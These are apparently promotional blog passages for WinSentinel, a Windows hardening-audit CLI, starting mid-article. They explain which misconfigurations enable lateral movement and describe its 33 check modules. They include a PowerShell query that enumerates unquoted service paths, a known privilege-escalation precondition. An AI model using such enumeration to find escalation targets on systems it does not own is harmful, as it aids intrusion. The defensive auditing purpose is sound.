SMBv1 enabled (Network Posture module) - SMBv1 has been deprecated since 2017 but ships enabled on many Windows installations. It's the transport for EternalBlue, EternalRomance, and a dozen other exploits. WinSentinel checks Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol and flags it immediately.

Unquoted service paths (Services Security module) - When a service binary path contains spaces and isn't wrapped in quotes, Windows tries intermediate paths first. An attacker who can write to C:\Program Files\ (or a less-protected parent) can hijack the service. WinSentinel enumerates every service via WMI and checks for this exact pattern:

# What WinSentinel looks for:
Get-CimInstance Win32_Service | Where-Object {
  $_.PathName -notmatch '^".+"' -and
  $_.PathName -match '.+\s.+\.exe'
}

Disabled PowerShell logging (PowerShell Security module) - Without transcription logging and module logging, the attacker's post-exploitation commands leave no trace. WinSentinel checks all four PowerShell logging settings: ScriptBlockLogging, TranscriptionDirectory, ModuleLogging, and whether AMSI is intact.

Stale patches (Windows Update module) - The credential extraction in Step 5 often exploits CVEs that were patched months ago. WinSentinel flags any machine more than 30 days behind on updates as a warning, and more than 60 days as critical.

Defense in Depth via Configuration

The concept is simple: if you eliminate the misconfigurations that lateral movement depends on, attackers are forced to use noisier, detectable techniques. Specifically:

• Disable LLMNR/NBT-NS → hash capture requires ARP spoofing (detectable)
• Disable SMBv1 → exploitation requires 0-days (expensive)
• Fix unquoted paths → privilege escalation requires kernel exploits (rare)
• Enable PowerShell logging → post-exploitation leaves forensic evidence
• Patch within 14 days → credential theft requires current 0-days

None of these are exotic hardening measures. They're baseline hygiene that most machines simply don't have.

Running the Check

winsentinel --audit --modules network,services,powershell,updates

This runs just the four modules relevant to lateral movement. On a typical machine it takes under 10 seconds and produces a focused report. If you see any Critical or Warning findings in these modules, fix them today - not next sprint, not next quarter. These are the exact configurations attackers check first.

What About Detection?

WinSentinel is primarily a hardening tool, not a SIEM. It won't alert you in real-time that someone is running Mimikatz. What it does is ensure the preconditions for these attacks don't exist in the first place. That's a fundamentally stronger security posture than trying to detect attacks after they've already exploited your misconfigurations.

Think of it this way: you can install motion sensors in your house (detection), or you can lock your doors (prevention). WinSentinel locks the doors. Both matter, but locked doors stop far more intruders than alarms do.

Run winsentinel --audit today. Fix the network and services findings. You'll eliminate the three easiest lateral movement techniques in under five minutes.

When you run winsentinel --audit, the CLI executes 33 independent security modules against your live Windows configuration. Each module produces findings with severity levels (Critical, Warning, Info) and actionable remediation steps with one-click fix commands. Here's what's under the hood.

🛡️ Endpoint Protection

1. Windows Defender — Checks real-time protection, cloud-delivered protection, automatic sample submission, tamper protection, and signature freshness. A disabled Defender is the #1 finding on consumer machines.

2. Windows Firewall — Validates all three profiles (Domain, Private, Public) are enabled, checks for overly permissive inbound rules, and flags any rule allowing all traffic on the Public profile.

3. Windows Update — Detects pending critical/security updates, checks the last successful update date (critical if >30 days), validates automatic update settings, and flags paused updates.

🔐 Identity & Access

4. Account Security — Identifies guest accounts, checks password policies, flags accounts with "password never expires", detects local admin sprawl, and verifies UAC configuration.

5. Identity & Credential Hygiene — Audits local admin sprawl (Administrators group membership), stale accounts (90+ days inactive), LAPS deployment status, cached credentials count, LSA Protection (RunAsPPL), and Credential Guard.

6. Credential Exposure — Scans Windows Credential Manager, Git credential stores, SSH key security (passphrase-less keys, weak algorithms), plaintext credential files, saved RDP passwords, browser credential stores, and cloud credential configs.

7. Group Policy — Validates security-relevant GPO settings: account lockout policies, password complexity, audit logging, security options, and restricted software policies.

🌐 Network Security

8. Network Posture — Identifies open listening ports vs. known processes, audits firewall rules for gaps, checks SMBv1/LLMNR/NBT-NS status, and flags public profile exposure.

9. SMB Share Security — Detects SMBv1 enabled (WannaCry/NotPetya vector), SMB signing not required (NTLM relay risk), exposed administrative shares, and user-created shares with overly permissive ACLs.

10. DNS Security — Checks for insecure DNS servers, DNS-over-HTTPS not enabled, DNS cache poisoning exposure, LLMNR/NetBIOS spoofing risk, and hosts file tampering.

11. Wi-Fi Security — Detects saved profiles using weak/no encryption (Open, WEP, WPA-TKIP), auto-connect to insecure networks, cleartext password exposure, and MAC randomization status.

12. Remote Access — Validates RDP settings and NLA, SSH server exposure, VNC/TeamViewer/AnyDesk configurations, WinRM/PSRemoting exposure, Remote Registry, and Remote Assistance.

13. Bluetooth — Flags Bluetooth radio left enabled when unneeded, discoverable mode (BlueBorne/BlueSmack risk), paired devices with outdated profiles, and services exposing sensitive capabilities.

💻 System & Configuration

14. System Security — Checks Windows version (end-of-life detection), Secure Boot, TPM 2.0 presence, Kernel DMA protection, and Virtualization-Based Security (VBS).

15. Registry Security — Audits UAC disabled or weakened, Remote Desktop without NLA, AutoPlay/AutoRun not disabled, WDigest plain-text credential storage, and credential caching.

16. Environment Variables — Detects PATH hijacking via writable directories, secrets leaked in environment variables (API keys, tokens), dangerous PATHEXT entries, insecure proxy settings, and overly permissive TEMP/TMP ACLs.

17. Privacy & Telemetry — Checks advertising ID, location tracking, diagnostic data levels, activity history, feedback frequency, and speech recognition privacy settings.

🔒 Encryption & Storage

18. Encryption — Checks BitLocker status per volume, recovery key backup, encryption method strength, and drive encryption completeness.

19. Certificate Store — Detects expired certificates, soon-to-expire certs, weak signature algorithms (SHA-1, MD5), untrusted root CAs, and self-signed certs in trusted stores.

20. USB & Removable Media — Checks AutoRun/AutoPlay settings, USB write-protect policy, BitLocker-to-Go enforcement, device connection history, USBSTOR service status, and removable disk encryption requirements.

21. Backup & Recovery — Validates Volume Shadow Copy (VSS) service and shadow copies, System Restore configuration, File History, Windows Backup, ransomware resilience indicators, and recovery partition presence.

🏗️ Application & Service Security

22. Application Security — Checks UAC level, SmartScreen, exploit protection (DEP, ASLR, CFG), developer mode, sideloading policy, and .NET Framework security settings.

23. Browser Security — Audits Chrome/Edge/Firefox for dangerous extensions, SmartScreen settings, pop-up blocker, safe browsing, and password manager integration.

24. Service Security — Scans for unquoted service paths (privilege escalation), services running as SYSTEM from user-writable paths, disabled security services, auto-start services pointing at missing binaries, and suspicious cmd/PowerShell service wrappers.

25. Software Inventory — Detects unsigned/tampered executables, programs in suspicious locations, outdated software with known vulnerability indicators, PUPs via heuristic patterns, and orphaned installations.

26. Startup Programs — Analyzes Registry Run/RunOnce entries, Startup folder programs, scheduled task triggers, and service auto-start entries for persistence mechanisms.

27. Driver Security — Finds unsigned or self-signed drivers, drivers from user-writable paths, known vulnerable drivers used in BYOVD attacks, revoked certificates, and ancient unpatched drivers.

28. Virtualization — Validates Hyper-V isolation settings, WSL version and distribution security, Windows Sandbox availability, Docker daemon security, Credential Guard, VBS, and HVCI status.

⚡ Threat Detection & Forensics

29. Process Security — Analyzes running processes for SYSTEM-level execution, unsigned executables, processes from temp directories, and high-privilege process count.

30. Process Lineage Analysis — Maps parent-child process relationships to detect LOLBin abuse, Office macro execution spawning command interpreters, WMI lateral movement, deep interpreter nesting (obfuscation), and orphaned processes. References MITRE ATT&CK techniques.

31. Scheduled Task Security — Identifies persistence via tasks running as SYSTEM with suspicious actions, tasks executing from user-writable/temp directories, hidden tasks, and tasks using encoded PowerShell.

32. Event Log Analysis — Checks for brute force indicators (failed logins), privilege escalation events, audit policy completeness, log size/retention, and critical security events in the last 24 hours.

33. PowerShell Security — Validates execution policy, script block logging, module logging, transcription logging, AMSI status, PowerShell v2 engine (downgrade attack vector), and ConstrainedLanguageMode.

Getting started

dotnet tool install --global WinSentinel.Cli
winsentinel --audit

That's it. Two commands, zero configuration, 33 modules covering every attack surface on your Windows machine. Every finding includes a "why" explanation and a concrete fix — many of which the CLI can apply automatically with --fix.

Want to focus on a specific area? Use profiles: winsentinel --audit --profile network or winsentinel --audit --profile identity.

If you write code on Windows, your machine likely has: SSH keys, cloud credentials, access tokens, API keys, database connection strings, and maybe even production secrets cached in environment variables or config files. A compromised dev machine is a shortcut past every perimeter defense your company has.

Yet most developers never audit their own workstation. Why?

• "IT handles security" — IT manages group policy but can't see your personal browser extensions, sideloaded tools, or disabled Defender.
• "I'd know if something was wrong" — Most misconfigurations are silent. Disabled firewall on Public profile? No popup. Stale Windows updates? No notification after you clicked "remind me later" six months ago.
• "Security tools are enterprise-only" — True for Nessus, Qualys, CrowdStrike. Not true for WinSentinel.

The 60-second audit

dotnet tool install --global WinSentinel.Cli
winsentinel --score

You'll get a score out of 100 with a letter grade. Most developer machines land between 65–80 on first run. The findings that drop your score are usually:

• Windows Firewall disabled on one profile (usually Public)
• Outdated Windows patches (30+ days behind)
• Guest account enabled
• RDP enabled without NLA
• AutoRun still on for USB drives
• PowerShell execution policy set to Unrestricted

Each finding is fixable in one command or one registry edit. WinSentinel shows you exactly what and where.

But I'm on a personal machine…

Doesn't matter. If you git push to work repos, SSH into production, or access cloud consoles from this machine, it's a work machine. Treat it like one.

The machine that has your SSH keys is the machine that matters.

Run an audit. Fix the critical findings. Set up a weekly schedule with winsentinel schedule create --cadence weekly so drift doesn't sneak back in. Your future self — and your security team — will thank you.